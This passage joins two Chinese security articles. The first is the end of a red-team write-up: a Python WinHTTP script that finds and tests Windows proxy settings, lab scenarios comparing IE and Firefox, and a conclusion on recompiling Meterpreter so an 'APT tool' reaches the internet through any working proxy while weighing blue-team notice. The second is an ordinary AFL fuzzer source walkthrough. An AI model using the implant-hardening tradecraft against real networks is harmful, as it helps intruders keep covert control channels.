if ctypes.GetLastError() == ERROR_INSUFFICIENT_BUFFER:
lpBuffer = ctypes.create_string_buffer(lpdwBufferLength.value)
result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, ctypes.byref(lpBuffer),
ctypes.byref(lpdwBufferLength),
WINHTTP_NO_HEADER_INDEX)
if result:
line = lpBuffer.raw.replace('x00', '').split('n')[0]
space_1 = line.find(' ')
space_2 = line.find(' ', space_1+1)
code = line[space_1:space_2].strip()
text = line[space_2:].strip()
print "t[*] HTTP Query Status Code / Text: nt %s / %s" % (code, text)
if code != "200":
return False
else:
return True
ctypes.windll.winhttp.WinHttpCloseHandle(hRequest)
ctypes.windll.winhttp.WinHttpCloseHandle(hInternet)
ctypes.windll.winhttp.WinHttpCloseHandle(hSession)
return True
def main():
result, pProxyConfig = GetCurrentProxies()
if result == False:
sys.exit()
print 'n[*] We got the proxy configuration.'
if pProxyConfig is None:
print '[*] No proxy setting found for the current user.'
sys.exit()
target_server = 'www.google.com'
target_url = 'http://' + target_server
target_port = 80
proxy_list = GetProxyInfoList(pProxyConfig, target_url)
print 'n[*] Number of proxies: %s' % str(len(proxy_list))
print 'n[*] Testing if proxy servers actually work...'
for proxy in proxy_list:
print 'n [*] Proxy "%s" ... ' % proxy.lpszProxy
result = CheckProxyStatus(proxy, target_server, target_port)
if result:
print ' [+] Works! :)'
else:
print ' [-] Does not work :('
if __name__ == '__main__':
main()
以上代码有两个重要函数：
1、GetProxyInfoList(pProxyConfig,
target_url)：这个函数会评估当前用户的代理设置，根据传入的URL地址，返回一个代理套接字（IP:PORT）列表。需要注意的是这个代理列表中包含具体的代理地址，我们有可能使用这些代理地址访问目标URL，但是这并不意味着代理服务器一定处于正常工作状态。比如，这个列表中可能包含从WPAD.DAT文件中读取的代理信息，这个WPAD.DAT文件为“使用自动配置脚本”选项中设置的脚本文件，但在访问目标URL时这个代理可能不起作用。
2、CheckProxyStatus(proxy, target_server,
target_port)：这个函数会使用给定的代理，访问目标服务器和端口（直接访问根目录），以测试代理是否实际可用。我们可以使用这个函数判断某个代理是否可用。
**5.2 测试场景 #1**
在这个测试场景中，代理服务器tmg1以及tmg2的内部网络接口（192.168.0.x）在客户机启动前已被禁用。这意味着客户机只能通过代理服务器TMG3访问互联网。
脚本程序的输出结果如下所示。此外，我们还可以从输出结果中看到IE和Firefox浏览器如何处理这种场景：
从测试程序的输出结果中我们可知以下信息：
1、“自动检测设置”选项已启用，获取的代理为“192.168.0.10:8080”（Windows会在后台下载WPAD.PAC文件，同时在代理服务器内部接口被禁用前缓存已获取的代理信息）。然而，这个代理并不能正常工作，因为TMG1的内部接口已被禁用，客户机不可能通过网络访问到这个接口（会出现访问超时情况）。
2、“使用自动配置脚本”选项已启用，获取的代理为“192.168.0.11:8080”（Windows会在后台下载WPAD.PAC文件，同时在代理服务器内部接口被禁用前缓存已获取的代理信息）。然而这个代理依然不能正常工作，因为TMG2的内部接口已被禁用，客户机不可能通过网络访问到这个接口（会出现访问超时情况）。
3、手动配置的代理服务器为“tmg3.lab.bransh.com:8080”。这个代理可以正常使用，客户机可以通过它发送请求。
同时我们还知道，在当前的代理环境下，不管是IE还是Firefox浏览器都不能访问互联网。然而，使用tmg3作为代理服务器的自定义应用程序可以成功访问互联网。
**5.3 测试场景 #2**
这个场景与测试场景#1非常类似，代理服务器tmg1和tmg2的内部网络接口（192.168.0.x）在客户机启动前已被禁用。这意味着客户机只能通过代理服务器TMG3访问互联网。
脚本程序的输出结果如下图所示。此外，我们还可以从输出结果中看到IE和Firefox浏览器如何处理这种场景：
从测试程序的输出结果中我们可知以下信息：
1、“自动检测设置”选项已启用（tmg1.lab.bransh.com/wpad.dat），但没有获取到任何一个代理信息。之所以出现这种情况，原因在于当客户机收到DHCP配置信息（252选项）时，代理服务器（tmg1）并不可达，因此客户机无法下载wpad.dat代理配置文件。
2、“使用自动配置脚本”选项已启用，配置文件所使用的URL地址为“tmg2.lab.bransh.com/wpad.dat”。然而客户机无法下载配置脚本，因为代理服务器此时并不可达。
3、手动配置的代理服务器为“tmg3.lab.bransh.com:8080”。这个代理可以正常使用，客户机可以通过它发送请求。
同时我们还知道，在当前的代理环境下，IE浏览器能够正确识别代理信息，访问互联网，然而Firefox浏览器却不能做到这一点。
**5.4 测试场景 #3**
在这个场景中，代理服务器TMG2的内部网络接口（192.168.0.11）在客户机启动前已被禁用。这意味着客户机可以通过代理服务器TMG1和TMG3代理服务器访问互联网。
脚本程序的输出结果如下图所示。此外，我们还可以从输出结果中看到IE和Firefox浏览器如何处理这种场景：
从测试程序的输出结果中我们可知以下信息：
1、“自动检测设置”选项已启用，客户机可以使用已获取的代理信息（192.168.0.10:8080）访问互联网。
2、“使用自动配置脚本”选项已启用，配置文件所使用的URL地址为“tmg2.lab.bransh.com/wpad.dat”。然而由于这个代理服务器的网络接口已被禁用，客户机无法下载配置脚本。
3、手动配置的代理服务器为“tmg3.lab.bransh.com:8080”。这个代理可以正常使用，客户机可以通过它发送请求。
同时我们还知道，在当前的代理环境下，IE浏览器能够正确识别代理信息，访问互联网，然而Firefox浏览器却不能做到这一点。
**5.5 测试场景 #4**
在这个场景中，只有TMG2代理服务器的内部网络接口（192.168.0.11）处于启用状态：
从测试程序的输出结果中我们可知以下信息：
1、“自动检测设置”选项已启用，客户机无法通过这个代理（192.168.0.10:8080）访问互联网。
2、“使用自动配置脚本”选项已启用，配置文件所使用的URL地址为“tmg2.lab.bransh.com/wpad.dat”。此外，获取到的代理地址为“192.168.0.11:8080”，客户机可以通过这个代理访问互联网。
3、手动配置的代理服务器为“tmg3.lab.bransh.com:8080”。这个代理可以正常使用，客户机可以通过它发送请求。
同时我们还知道，在当前的代理环境下，IE浏览器不能识别代理信息，无法访问互联网。然而Firefox成功获取了代理配置信息，能够正常访问互联网。
**5.6 测试场景 #5**
在这个场景中，所有三个代理服务器的内部网络接口全部处于启用状态。然而，TMG1和TMG2服务器的外部接口处于禁用状态：
从测试程序的输出结果中我们可知以下信息：
1、“自动检测设置”选项已启用，对应的代理服务器（192.168.0.10:8080）也可达。然而代理服务器返回了一个错误应答（502错误），表明客户机无法通过此代理服务器访问互联网。
2、“使用自动配置脚本”选项已启用，对应的代理服务器（192.168.0.11:8080）也可达。然而代理服务器返回了一个错误应答（502错误），表明客户机无法通过此代理服务器访问互联网。
3、手动配置的代理服务器为“tmg3.lab.bransh.com:8080”。这个代理可以正常使用，客户机可以通过它访问互联网。
在当前的代理环境下，IE和Firefox浏览器都不能访问互联网，然而使用TMG3作为代理服务器的自定义应用程序可以成功访问互联网。
**六、总结**
在某些场景下（比如本文第一部分描述的场景），我们会发现我们最喜爱的工具无法像预期那样正常工作。在这些情况下，我们主要有两种选择：尝试找到另一种解决方案，或者亲自上手修改工具，使其能正常工作。在本文所描述的企业网络场景中，我们修改了Meterpreter载荷源码，重新编译载荷Dll后，Meterpreter载荷能够在上文描述的代理环境中正常工作。我不确定我的这些修改是否会反馈到Meterpreter官方代码中，但如果你面临的是类似的场景，现在你应该知道该如何处理。
另一方面，我们知道Windows会按一定优先级顺序使用代理（如前文提到的优先级顺序）。然而，我们似乎发现，如果Windows已经获取了某个代理信息（如场景
#1给出的结果），即使这个代理无法正常工作，Windows也不会继续尝试使用另一个可用的代理选项。此外，我们发现在启用“使用系统代理设置”选项的条件下，IE和Firefox浏览器在查找代理时的表现也不尽相同。最后我们也发现，如果某个代理可达，但这个代理出于某些原因（比如互联网连接失败），无法提供互联网访问服务，此时这两个浏览器都不会尝试使用其他可能生效的代理服务器访问互联网。
考虑到这些测试结果，我们可以看到，我们的确可以使用某些API函数来评估所有的代理配置情况，甚至可以测试这些代理，以确认它们能否访问互联网资源。因此，我们只需要修改几行代码，就可以增加我们APT工具的鲁棒性，使其可以在这种网络环境下正常工作。然而，我必须承认，客户工作站存在多个代理的情况的确比较罕见，我不大相信管理员能够妥善处理这种混乱场面。另一方面，在连IE浏览器都不能正常工作的场景中，如果我们的APT工具还能正常工作的话，我不敢完全确定这是一个好主意。如果人们认为某个主机肯定不能访问互联网，但突然某一天，它开始通过可用的代理服务器访问互联网，这种情况对于蓝队来说可能比较奇怪。
最后总结一下，我认为如果我们的APT工具能够像IE浏览器那样健壮，那么它已经足以应付大多数情况。如果IE浏览器能够访问互联网，那么我们的APT工具也可以。
**七、参考资料**
[1] 自动代理：
<https://blogs.msdn.microsoft.com/askie/2014/02/07/optimizing-performance-with-automatic-proxyconfiguration-scripts-pac/>
[2] Windows Web代理配置：
<https://blogs.msdn.microsoft.com/ieinternals/2013/10/11/understanding-web-proxy-configuration/>
[3] 编译Meterpreter：
<https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter>
[4] Meterpreter WinHTTP源代码：
<https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/server/win/server_transport_winhttp.c>
[5] Meterpreter common.h源代码：
<https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/common.h>
[6] Sysinternals DebugView：
<https://technet.microsoft.com/en-us/sysinternals/debugview.aspx>
[7] 对比WinHTTP与WinInet：
<https://github.com/rapid7/metasploit-framework/wiki/The-ins-and-outs-of-HTTP-and-HTTPS-communications-in-Meterpreter-and-Metasploit-Stagers>
[8] Metasploit bug反馈：
<https://github.com/rapid7/metasploit-payloads/issues/151>
[9] WinHTTP示例代码：
<http://code.msdn.microsoft.com/windowsdesktop/WinHTTP-proxy-sample-eea13d0c> | 社区文章 |
**作者：深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/5bXU__xGwKMLw7eKbyh9gQ>**
## 前言
AFL，全称“American Fuzzy Lop”，是由安全研究员Michal Zalewski开发的一款基于覆盖引导（Coverage-guided）的模糊测试工具，它通过记录输入样本的代码覆盖率（代码执行路径的覆盖情况），以此进行反馈，对输入样本进行调整以提高覆盖率，从而提升发现漏洞的可能性。AFL可以针对有源码和无源码的程序进行模糊测试，其设计思想和实现方案在模糊测试领域具有十分重要的意义。
深入分析AFL源码，对理解AFL的设计理念和其中用到的技巧有着巨大的帮助，对于后期进行定制化Fuzzer开发也具有深刻的指导意义。所以，阅读AFL源码是学习AFL必不可少的一个关键步骤。
（注：需要强调的是，本文的主要目的是协助fuzz爱好者阅读AFL的源码，所以需要在了解AFL基本工作流程和原理的前提下进行阅读，本文并不会在原理侧做过多说明。）
**当别人都要快的时候，你要慢下来。**
## 宏观
首先在宏观上看一下AFL的源码结构：
主要的代码在 `afl-fuzz.c` 文件中，然后是几个独立模块的实现代码，`llvm_mode` 和 `qemu_mode`
的代码量大致相当，所以分析的重点应该还是在AFL的根目录下的几个核心功能的实现上，尤其是 `afl-fuzz.c`，属于核心中的重点。
各个模块的主要功能和作用的简要说明：
* **插桩模块**
* `afl-as.h,?afl-as.c,?afl-gcc.c`：普通插桩模式，针对源码插桩，编译器可以使用gcc， clang；
* `llvm_mode`：llvm 插桩模式，针对源码插桩，编译器使用clang；
* `qemu_mode`：qemu 插桩模式，针对二进制文件插桩。
* **fuzzer 模块**
* `afl-fuzz.c`：fuzzer 实现的核心代码，AFL 的主体。
* **其他辅助模块**
* `afl-analyze`：对测试用例进行分析，通过分析给定的用例，确定是否可以发现用例中有意义的字段；
* `afl-plot`：生成测试任务的状态图；
* `afl-tmin`：对测试用例进行最小化；
* `afl-cmin`：对语料库进行精简操作；
* `afl-showmap`：对单个测试用例进行执行路径跟踪；
* `afl-whatsup`：各并行例程fuzzing结果统计；
* `afl-gotcpu`：查看当前CPU状态。
* **部分头文件说明**
* `alloc-inl.h`：定义带检测功能的内存分配和释放操作；
* `config.h`：定义配置信息；
* `debug.h`：与提示信息相关的宏定义；
* `hash.h`：哈希函数的实现定义；
* `types.h`：部分类型及宏的定义。
## 一、AFL的插桩——普通插桩
### （一） 、AFL 的 gcc —— afl-gcc.c
#### 1\. 概述
`afl-gcc` 是GCC 或 clang 的一个wrapper（封装），常规的使用方法是在调用 `./configure` 时通过 `CC`
将路径传递给 `afl-gcc` 或 `afl-clang`。（对于 C++ 代码，则使用 `CXX` 并将其指向 `afl-g++` / `afl-clang++`。）`afl-clang`, `afl-clang++`， `afl-g++` 均为指向 `afl-gcc` 的一个符号链接。
`afl-gcc` 的主要作用是实现对于关键节点的代码插桩，属于汇编级，从而记录程序执行路径之类的关键信息，对程序的运行情况进行反馈。
#### 2\. 源码
##### 1\. 关键变量
在开始函数代码分析前，首先要明确几个关键变量：
static u8* as_path; /* Path to the AFL 'as' wrapper，AFL的as的路径 */
static u8** cc_params; /* Parameters passed to the real CC，CC实际使用的编译器参数 */
static u32 cc_par_cnt = 1; /* Param count, including argv0 ，参数计数 */
static u8 be_quiet, /* Quiet mode，静默模式 */
clang_mode; /* Invoked as afl-clang*? ，是否使用afl-clang*模式 */
# 数据类型说明
# typedef uint8_t u8;
# typedef uint16_t u16;
# typedef uint32_t u32;
##### 2\. main函数
main 函数全部逻辑如下：
其中主要有如下三个函数的调用：
* `find_as(argv[0])` ：查找使用的汇编器
* `edit_params(argc, argv)`：处理传入的编译参数，将确定好的参数放入 `cc_params[]` 数组
* 调用 `execvp(cc_params[0], (cahr**)cc_params)` 执行 `afl-gcc`
这里添加了部分代码打印出传入的参数 `arg[0] - arg[7]` ，其中一部分是我们指定的参数，另外一部分是自动添加的编译选项。
##### 3\. find_as 函数
函数的核心作用：寻找 `afl-as`
函数内部大概的流程如下（软件自动生成，控制流程图存在误差，但关键逻辑没有问题）：
1. 首先检查环境变量 `AFL_PATH` ，如果存在直接赋值给 `afl_path` ，然后检查 `afl_path/as` 文件是否可以访问，如果可以，`as_path?=?afl_path`。
2. 如果不存在环境变量 `AFL_PATH` ，检查 `argv[0]` （如“/Users/v4ler1an/AFL/afl-gcc”）中是否存在 "/" ，如果存在则取最后“/” 前面的字符串作为 `dir`，然后检查 `dir/afl-as` 是否可以访问，如果可以，将 `as_path =?dir` 。
3. 以上两种方式都失败，抛出异常。
##### 4\. edit_params 函数
核心作用：将 `argv` 拷贝到 `u8 **cc_params`，然后进行相应的处理。
函数内部的大概流程如下：
1. 调用 `ch_alloc()` 为 `cc_params` 分配大小为 `(argc + 128)?*?8` 的内存（u8的类型为1byte无符号整数）
2. 检查 `argv[0]` 中是否存在`/`，如果不存在则 `name?= argv[0]`，如果存在则一直找到最后一个`/`，并将其后面的字符串赋值给 `name`
3. 对比 `name`和固定字符串`afl-clang`：
4. 若相同，设置`clang_mode =?1`，设置环境变量`CLANG_ENV_VAR`为1
1. 对比`name`和固定字符串`afl-clang++`:：
1. 若相同，则获取环境变量`AFL_CXX`的值，如果存在，则将该值赋值给`cc_params[0]`，否则将`afl-clang++`赋值给`cc_params[0]`。这里的`cc_params`为保存编译参数的数组；
2. 若不相同，则获取环境变量`AFL_CC`的值，如果存在，则将该值赋值给`cc_params[0]`，否则将`afl-clang`赋值给`cc_params[0]`。
5. 如果不相同，并且是Apple平台，会进入 `#ifdef __APPLE__`。在Apple平台下，开始对 `name` 进行对比，并通过 `cc_params[0] = getenv("")` 对`cc_params[0]`进行赋值；如果是非Apple平台，对比 `name` 和 固定字符串`afl-g++`（此处忽略对Java环境的处理过程）：
1. 若相同，则获取环境变量`AFL_CXX`的值，如果存在，则将该值赋值给`cc_params[0]`，否则将`g++`赋值给`cc_params[0]`；
2. 若不相同，则获取环境变量`AFL_CC`的值，如果存在，则将该值赋值给`cc_params[0]`，否则将`gcc`赋值给`cc_params[0]`。
6. 进入 while 循环，遍历从`argv[1]`开始的`argv`参数：
7. 如果扫描到 `-B` ，`-B`选项用于设置编译器的搜索路径，直接跳过。（因为在这之前已经处理过`as_path`了）；
8. 如果扫描到 `-integrated-as`，跳过；
9. 如果扫描到 `-pipe`，跳过；
10. 如果扫描到 `-fsanitize=address` 和 `-fsanitize=memory` 告诉 gcc 检查内存访问的错误，比如数组越界之类，设置 `asan_set = 1；`
11. 如果扫描到 `FORTIFY_SOURCE` ，设置 `fortify_set = 1` 。`FORTIFY_SOURCE` 主要进行缓冲区溢出问题的检查，检查的常见函数有`memcpy, mempcpy, memmove, memset, strcpy, stpcpy, strncpy, strcat, strncat, sprintf, vsprintf, snprintf, gets` 等；
12. 对 `cc_params` 进行赋值：`cc_params[cc_par_cnt++]?= cur;`
13. 跳出 `while` 循环，设置其他参数：
14. 取出前面计算出的 `as_path` ，设置 `-B?as_path` ；
15. 如果为 `clang_mode` ，则设置`-no-integrated-as`；
16. 如果存在环境变量 `AFL_HARDEN`，则设置`-fstack-protector-all`。且如果没有设置 `fortify_set` ，追加 `-D_FORTIFY_SOURCE=2` ；
17. sanitizer相关，通过多个if进行判断：
18. 如果 `asan_set` 在前面被设置为1，则设置环境变量 `AFL_USE_ASAN` 为1；
* 如果 `asan_set` 不为1且，存在 `AFL_USE_ASAN` 环境变量，则设置`-U_FORTIFY_SOURCE -fsanitize=address`；
19. 如果不存在 `AFL_USE_ASAN` 环境变量，但存在 `AFL_USE_MSAN` 环境变量，则设置`-fsanitize=memory`（不能同时指定`AFL_USE_ASAN`或者`AFL_USE_MSAN`，也不能同时指定 `AFL_USE_MSAN` 和 `AFL_HARDEN`，因为这样运行时速度过慢；
* 如果不存在 `AFL_DONT_OPTIMIZE` 环境变量，则设置`-g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1`；
* 如果存在 `AFL_NO_BUILTIN` 环境变量，则表示允许进行优化，设置`-fno-builtin-strcmp -fno-builtin-strncmp -fno-builtin-strcasecmp -fno-builtin-strncasecmp -fno-builtin-memcmp -fno-builtin-strstr -fno-builtin-strcasestr`。
* 最后补充`cc_params[cc_par_cnt] = NULL;`，`cc_params` 参数数组编辑完成。
### （二）、AFL的插桩 —— afl-as.c
#### 1\. 概述
`afl-gcc` 是 GNU as 的一个wrapper（封装），唯一目的是预处理由 GCC/clang 生成的汇编文件，并注入包含在 `afl-as.h` 中的插桩代码。 使用 `afl-gcc / afl-clang` 编译程序时，工具链会自动调用它。该wapper的目标并不是为了实现向 `.s`
或 `asm?` 代码块中插入手写的代码。
`experiment/clang_asm_normalize/` 中可以找到可能允许 clang
用户进行手动插入自定义代码的解决方案，GCC并不能实现该功能。
#### 2\. 源码
##### 1\. 关键变量
在开始函数代码分析前，首先要明确几个关键变量：
static u8** as_params; /* Parameters passed to the real 'as'，传递给as的参数 */
static u8* input_file; /* Originally specified input file ，输入文件 */
static u8* modified_file; /* Instrumented file for the real 'as'，as进行插桩处理的文件 */
static u8 be_quiet, /* Quiet mode (no stderr output) ，静默模式，没有标准输出 */
clang_mode, /* Running in clang mode? 是否运行在clang模式 */
pass_thru, /* Just pass data through? 只通过数据 */
just_version, /* Just show version? 只显示版本 */
sanitizer; /* Using ASAN / MSAN 是否使用ASAN/MSAN */
static u32 inst_ratio = 100, /* Instrumentation probability (%) 插桩覆盖率 */
as_par_cnt = 1; /* Number of params to 'as' 传递给as的参数数量初始值 */
注：如果在参数中没有指明 `--m32` 或 `--m64` ，则默认使用在编译时使用的选项。
##### 2\. main函数
main 函数全部逻辑如下：
1. 首先获取环境变量 `AFL_INST_RATIO` ，赋值给 `inst_ratio_str`，该环境变量主要控制检测每个分支的概率，取值为0到100%，设置为0时则只检测函数入口的跳转，而不会检测函数分支的跳转；
2. 通过 `gettimeofday(&tv,&tz);`获取时区和时间，然后设置 `srandom()` 的随机种子 `rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();`
3. 调用 `edit_params(argc, argv)` 函数进行参数处理；
4. 检测 `inst_ratio_str` 的值是否合法范围内，并设置环境变量 `AFL_LOOP_ENV_VAR`；
5. 读取环境变量``AFL_USE_ASAN`和`AFL_USE_MSAN`的值，如果其中有一个为1，则设置`sanitizer`为1，且将`inst_ratio`除3。这是因为在进行ASAN的编译时，AFL无法识别出ASAN特定的分支，导致插入很多无意义的桩代码，所以直接暴力地将插桩概率/3；
6. 调用 `add_instrumentation()` 函数，这是实际的插桩函数；
7. fork 一个子进程来执行 `execvp(as_params[0], (char**)as_params);`。这里采用的是 fork 一个子进程的方式来执行插桩。这其实是因为我们的 `execvp` 执行的时候，会用 `as_params[0]` 来完全替换掉当前进程空间中的程序，如果不通过子进程来执行实际的 `as`，那么后续就无法在执行完实际的as之后，还能unlink掉modified_file；
8. 调用 `waitpid(pid, &status, 0)` 等待子进程执行结束；
9. 读取环境变量 `AFL_KEEP_ASSEMBLY` 的值，如果没有设置这个环境变量，就unlink掉 `modified_file`(已插完桩的文件)。设置该环境变量主要是为了防止 `afl-as` 删掉插桩后的汇编文件，设置为1则会保留插桩后的汇编文件。
可以通过在main函数中添加如下代码来打印实际执行的参数：
print("\n");
for (int i = 0; i < sizeof(as_params); i++){
peinrf("as_params[%d]:%s\n", i, as_params[i]);
}
在插桩完成后，会生成 `.s` 文件，内容如下（具体的文件位置与设置的环境变量相关）：
##### 3\. add_instrumentation函数
`add_instrumentation` 函数负责处理输入文件，生成 `modified_file` ，将 `instrumentation`
插入所有适当的位置。其整体控制流程如下：
整体逻辑看上去有点复杂，但是关键内容并不算很多。在main函数中调用完 `edit_params()` 函数完成 `as_params`
参数数组的处理后，进入到该函数。
1. 判断 `input_file` 是否为空，如果不为空则尝试打开文件获取fd赋值给 `inf`，失败则抛出异常；`input_file` 为空则 `inf` 设置为标准输入；
2. 打开 `modified_file` ，获取fd赋值给 `outfd`，失败返回异常；进一步验证该文件是否可写，不可写返回异常；
3. `while` 循环读取 `inf` 指向文件的每一行到 `line` 数组，每行最多 `MAX_LINE?= 8192`个字节（含末尾的‘\0’），从`line`数组里将读取到的内容写入到 `outf` 指向的文件，然后进入到真正的插桩逻辑。这里需要注意的是，插桩只向 `.text` 段插入，：
4. 首先跳过标签、宏、注释；
5. 这里结合部分关键代码进行解释。需要注意的是，变量 `instr_ok` 本质上是一个flag，用于表示是否位于`.text`段。变量设置为1，表示位于 `.text` 中，如果不为1，则表示不再。于是，如果`instr_ok` 为1，就会在分支处执行插桩逻辑，否则就不插桩。
1. 首先判断读入的行是否以‘\t’ 开头，本质上是在匹配`.s`文件中声明的段，然后判断`line[1]`是否为`.`：
```c if (line[0] == '\t' && line[1] == '.') {
/* OpenBSD puts jump tables directly inline with the code, which is
a bit annoying. They use a specific format of p2align directives
around them, so we use that as a signal. */
if (!clang_mode && instr_ok && !strncmp(line + 2, "p2align ", 8) &&
isdigit(line[10]) && line[11] == '\n') skip_next_label = 1;
if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)) {
instr_ok = 1;
continue;
}
if (!strncmp(line + 2, "section\t", 8) ||
!strncmp(line + 2, "section ", 8) ||
!strncmp(line + 2, "bss\n", 4) ||
!strncmp(line + 2, "data\n", 5)) {
instr_ok = 0;
continue;
}
}
```
1. '\t'开头，且`line[1]=='.'`，检查是否为 `p2align` 指令，如果是，则设置 `skip_next_label?= 1`；
2. 尝试匹配 `"text\n"` `"section\t.text"` `"section\t__TEXT,__text"` `"section __TEXT,__text"` 其中任意一个，匹配成功， 设置 `instr_ok?=?1`， 表示位于 `.text` 段中，`continue` 跳出，进行下一次遍历；
3. 尝试匹配`"section\t"` `"section "` `"bss\n"` `"data\n"` 其中任意一个，匹配成功，设置 `instr_ok?= 0`，表位于其他段中，`continue` 跳出，进行下一次遍历；
2. 接下来通过几个 `if` 判断，来设置一些标志信息，包括 `off-flavor?assembly`，`Intel/AT&T`的块处理方式、`ad-hoc?__asm__`块的处理方式等；
```c / _Detect off-flavor assembly (rare, happens in gdb). When this is
encountered, we set skip_csect until the opposite directive is seen, and we do
not instrument._ /
if (strstr(line, ".code")) {
if (strstr(line, ".code32")) skip_csect = use_64bit;
if (strstr(line, ".code64")) skip_csect = !use_64bit;
}
/* Detect syntax changes, as could happen with hand-written assembly.
Skip Intel blocks, resume instrumentation when back to AT&T. */
if (strstr(line, ".intel_syntax")) skip_intel = 1;
if (strstr(line, ".att_syntax")) skip_intel = 0;
/* Detect and skip ad-hoc __asm__ blocks, likewise skipping them. */
if (line[0] == '#' || line[1] == '#') {
if (strstr(line, "#APP")) skip_app = 1;
if (strstr(line, "#NO_APP")) skip_app = 0;
}
```
3. AFL在插桩时重点关注的内容包括：`^main,?^.L0,?^.LBB0_0,?^\tjnz?foo` （_main函数， gcc和clang下的分支标记，条件跳转分支标记），这些内容通常标志了程序的流程变化，因此AFL会重点在这些位置进行插桩：
对于形如`\tj[^m].`格式的指令，即条件跳转指令，且`R(100)`产生的随机数小于插桩密度`inst_ratio`，直接使用`fprintf`将`trampoline_fmt_64`(插桩部分的指令)写入
`outf` 指向的文件，写入大小为小于 `MAP_SIZE`的随机数——`R(MAP_SIZE)`
，然后插桩计数`ins_lines`加一，`continue` 跳出，进行下一次遍历；
```c /* If we're in the right mood for instrumenting, check for function names
or conditional labels. This is a bit messy, but in essence, we want to catch:
^main: - function entry point (always instrumented)
^.L0: - GCC branch label
^.LBB0_0: - clang branch label (but only in clang mode)
^\tjnz foo - conditional branches
...but not:
^# BB#0: - clang comments
^ # BB#0: - ditto
^.Ltmp0: - clang non-branch labels
^.LC0 - GCC non-branch labels
^.LBB0_0: - ditto (when in GCC mode)
^\tjmp foo - non-conditional jumps
Additionally, clang and GCC on MacOS X follow a different convention
with no leading dots on labels, hence the weird maze of #ifdefs
later on.
*/
if (skip_intel || skip_app || skip_csect || !instr_ok ||
line[0] == '#' || line[0] == ' ') continue;
/* Conditional branch instruction (jnz, etc). We append the instrumentation
right after the branch (to instrument the not-taken path) and at the
branch destination label (handled later on). */
if (line[0] == '\t') {
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE));
ins_lines++;
}
continue;
}
```
4. 对于label的相关评估，有一些label可能是一些分支的目的地，需要自己评判
首先检查该行中是否存在`:`，然后检查是否以`.`开始
1. 如果以`.`开始，则代表想要插桩`^.L0:`或者 `^.LBB0_0:`这样的branch label，即 style jump destination
1. 检查 `line[2]`是否为数字 或者 如果是在clang_mode下，比较从`line[1]`开始的三个字节是否为`LBB.`，前述所得结果和`R(100) < inst_ratio)`相与。如果结果为真，则设置`instrument_next = 1`； 2\. 否则代表这是一个function，插桩`^func:`，function entry point，直接设置`instrument_next = 1`（defer mode）。
```c / _Label of some sort. This may be a branch destination, but we need to
tread carefully and account for several different formatting conventions._ /
#ifdef **APPLE**
/* Apple: L<whatever><digit>: */
if ((colon_pos = strstr(line, ":"))) {
if (line[0] == 'L' && isdigit(*(colon_pos - 1))) {
#else
/* Everybody else: .L<whatever>: */
if (strstr(line, ":")) {
if (line[0] == '.') {
#endif / _**APPLE** _/
/* .L0: or LBB0_0: style jump destination */
#ifdef **APPLE**
/* Apple: L<num> / LBB<num> */
if ((isdigit(line[1]) || (clang_mode && !strncmp(line, "LBB", 3)))
&& R(100) < inst_ratio) {
#else
/* Apple: .L<num> / .LBB<num> */
if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3)))
&& R(100) < inst_ratio) {
#endif / _**APPLE** _/
/* An optimization is possible here by adding the code only if the
label is mentioned in the code in contexts other than call / jmp.
That said, this complicates the code by requiring two-pass
processing (messy with stdin), and results in a speed gain
typically under 10%, because compilers are generally pretty good
about not generating spurious intra-function jumps.
We use deferred output chiefly to avoid disrupting
.Lfunc_begin0-style exception handling calculations (a problem on
MacOS X). */
if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;
}
} else {
/* Function label (always instrumented, deferred mode). */
instrument_next = 1;
}
}
} ```
5. 上述过程完成后，来到 `while` 循环的下一个循环，在 `while` 的开头，可以看到对以 defered mode 进行插桩的位置进行了真正的插桩处理：
```c if (!pass_thru && !skip_intel && !skip_app && !skip_csect && instr_ok &&
instrument_next && line[0] == '\t' && isalpha(line[1])) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE));
instrument_next = 0;
ins_lines++;
}
```
这里对 `instr_ok,?instrument_next` 变量进行了检验是否为1，而且进一步校验是否位于 `.text` 段中，且设置了
defered mode 进行插桩，则就进行插桩操作，写入 `trampoline_fmt_64/32` 。
至此，插桩函数 `add_instrumentation` 的主要逻辑已梳理完成。
##### 4\. edit_params函数
`edit_params`，该函数主要是设置变量 `as_params` 的值，以及 `use_64bit/modified_file` 的值，
其整体控制流程如下：
1. 获取环境变量 `TMPDIR` 和 `AFL_AS`;
2. 对于 `__APPLE_` 宏， 如果当前在 `clang_mode` 且没有设置 `AFL_AS` 环境变量，会设置 `use_clang_mode =?1`，并设置 `afl-as` 为 `AFL_CC/AFL_CXX/clang`中的一种；
3. 设置 `tmp_dir` ，尝试获取的环境变量依次为 `TEMP,?TMP`，如果都失败，则直接设置为 `/tmp`；
4. 调用 `ck_alloc()` 函数为 `as_params` 参数数组分配内存，大小为(argc + 32) * 8；
5. 设置 `afl-as` 路径：`as_params[0] = afl_as ? afl_as : (u8*)"as";`
6. 设置 `as_params[argc] = 0;` ，as_par_cnt 初始值为1；
7. 遍历从 `argv[1]` 到 `argv[argc-1]` 之前的每个 argv：
8. 如果存在字符串 `--64`， 则设置 `use_64bit?= 1` ；如果存在字符串 `--32` ，则设置 `use_64bit = 0`。对于`__APPLE__` ，如果存在`-arch x86_64`，设置 `use_64bit=1`，并跳过`-q`和`-Q`选项；
9. `as_params[as_par_cnt++] = argv[i]`，设置as_params的值为argv对应的参数值
10. 开始设置其他参数：
11. 对于 `__APPLE__`，如果设置了 `use_clang_as`，则追加 `-c?-x?assembler`；
